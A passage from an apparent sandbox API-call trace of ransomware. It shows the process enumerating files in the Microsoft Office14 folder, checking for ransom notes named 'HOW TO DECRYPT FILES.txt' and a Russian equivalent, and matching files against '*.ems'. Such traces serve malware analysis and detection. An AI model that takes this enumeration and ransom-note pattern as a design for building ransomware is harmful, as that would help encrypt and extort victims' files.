Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.800] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.800] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.800] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.800] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IPEDITOR.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL" [0065.800] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL", pszSpec="*.ems") returned 0 [0065.800] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1375c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRM.XML", cAlternateFileName="")) returned 1 [0065.800] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.800] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IPIRM.XML") returned -1 [0065.800] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IPIRM.XML") returned -1 [0065.800] lstrcmpiA (lpString1="", lpString2="IPIRM.XML") returned -1 [0065.800] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL") returned="IPEDITOR.DLL" [0065.800] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.800] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.800] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.800] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.800] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IPIRM.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" [0065.801] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML", pszSpec="*.ems") returned 0 [0065.801] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRMV.XML", cAlternateFileName="")) returned 1 [0065.801] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.801] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IPIRMV.XML") returned -1 [0065.801] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IPIRMV.XML") returned -1 [0065.801] lstrcmpiA (lpString1="", lpString2="IPIRMV.XML") returned -1 [0065.801] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML") returned="IPIRM.XML" [0065.801] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.801] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.801] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.801] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.801] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IPIRMV.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" [0065.801] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML", pszSpec="*.ems") returned 0 [0065.801] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x39988, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLK.DLL", cAlternateFileName="")) returned 1 [0065.801] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.801] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IPOLK.DLL") returned -1 [0065.801] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IPOLK.DLL") returned -1 [0065.801] lstrcmpiA (lpString1="", lpString2="IPOLK.DLL") returned -1 [0065.801] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML") returned="IPIRMV.XML" [0065.801] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.801] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.802] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.802] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.802] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IPOLK.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IPOLK.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IPOLK.DLL" [0065.802] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IPOLK.DLL", pszSpec="*.ems") returned 0 [0065.802] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x551a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXACS.PDL", cAlternateFileName="")) returned 1 [0065.802] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.802] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IXACS.PDL") returned -1 [0065.802] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IXACS.PDL") returned -1 [0065.802] lstrcmpiA (lpString1="", lpString2="IXACS.PDL") returned -1 [0065.802] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IPOLK.DLL") returned="IPOLK.DLL" [0065.802] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.802] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.802] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.802] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.802] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IXACS.PDL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL" [0065.802] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL", pszSpec="*.ems") returned 0 [0065.802] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x34188, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXDB2.PDL", cAlternateFileName="")) returned 1 [0065.802] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.802] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IXDB2.PDL") returned -1 [0065.802] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IXDB2.PDL") returned -1 [0065.802] lstrcmpiA (lpString1="", lpString2="IXDB2.PDL") returned -1 [0065.802] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL") returned="IXACS.PDL" [0065.802] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.802] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.802] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.802] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.803] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IXDB2.PDL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL" [0065.803] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL", pszSpec="*.ems") returned 0 [0065.803] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x16db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXGENERC.PDL", cAlternateFileName="")) returned 1 [0065.803] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.803] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IXGENERC.PDL") returned -1 [0065.803] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IXGENERC.PDL") returned -1 [0065.803] lstrcmpiA (lpString1="", lpString2="IXGENERC.PDL") returned -1 [0065.803] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL") returned="IXDB2.PDL" [0065.803] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.803] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.803] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.803] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.803] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IXGENERC.PDL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL" [0065.803] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL", pszSpec="*.ems") returned 0 [0065.803] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2ada0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXOLEDB.PDL", cAlternateFileName="")) returned 1 [0065.803] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.803] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IXOLEDB.PDL") returned -1 [0065.803] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IXOLEDB.PDL") returned -1 [0065.803] lstrcmpiA (lpString1="", lpString2="IXOLEDB.PDL") returned -1 [0065.803] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL") returned="IXGENERC.PDL" [0065.803] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.803] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.803] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.803] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.803] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IXOLEDB.PDL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL" [0065.803] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL", pszSpec="*.ems") returned 0 [0065.804] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x63fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXORACLE.PDL", cAlternateFileName="")) returned 1 [0065.804] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.804] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IXORACLE.PDL") returned -1 [0065.804] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IXORACLE.PDL") returned -1 [0065.804] lstrcmpiA (lpString1="", lpString2="IXORACLE.PDL") returned -1 [0065.804] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL") returned="IXOLEDB.PDL" [0065.804] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.804] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.804] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.804] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.804] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IXORACLE.PDL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL" [0065.804] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL", pszSpec="*.ems") returned 0 [0065.804] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2fda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXSSRV.PDL", cAlternateFileName="")) returned 1 [0065.804] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.804] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IXSSRV.PDL") returned -1 [0065.804] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IXSSRV.PDL") returned -1 [0065.804] lstrcmpiA (lpString1="", lpString2="IXSSRV.PDL") returned -1 [0065.804] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL") returned="IXORACLE.PDL" [0065.804] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.804] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.804] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.804] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.804] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IXSSRV.PDL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL" [0065.804] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL", pszSpec="*.ems") returned 0 [0065.805] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5adb1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x4db80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXUTIL.DLL", cAlternateFileName="")) returned 1 [0065.805] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.805] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IXUTIL.DLL") returned -1 [0065.805] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IXUTIL.DLL") returned -1 [0065.805] lstrcmpiA (lpString1="", lpString2="IXUTIL.DLL") returned -1 [0065.805] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL") returned="IXSSRV.PDL" [0065.805] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.805] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.805] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.805] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.805] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="IXUTIL.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\IXUTIL.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXUTIL.DLL" [0065.805] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\IXUTIL.DLL", pszSpec="*.ems") returned 0 [0065.805] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e2cf00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7e2cf00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x499c, dwReserved0=0x0, dwReserved1=0x0, cFileName="JFONT.DAT", cAlternateFileName="")) returned 1 [0065.805] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.805] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="JFONT.DAT") returned -1 [0065.805] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="JFONT.DAT") returned -1 [0065.805] lstrcmpiA (lpString1="", lpString2="JFONT.DAT") returned -1 [0065.805] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\IXUTIL.DLL") returned="IXUTIL.DLL" [0065.805] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" 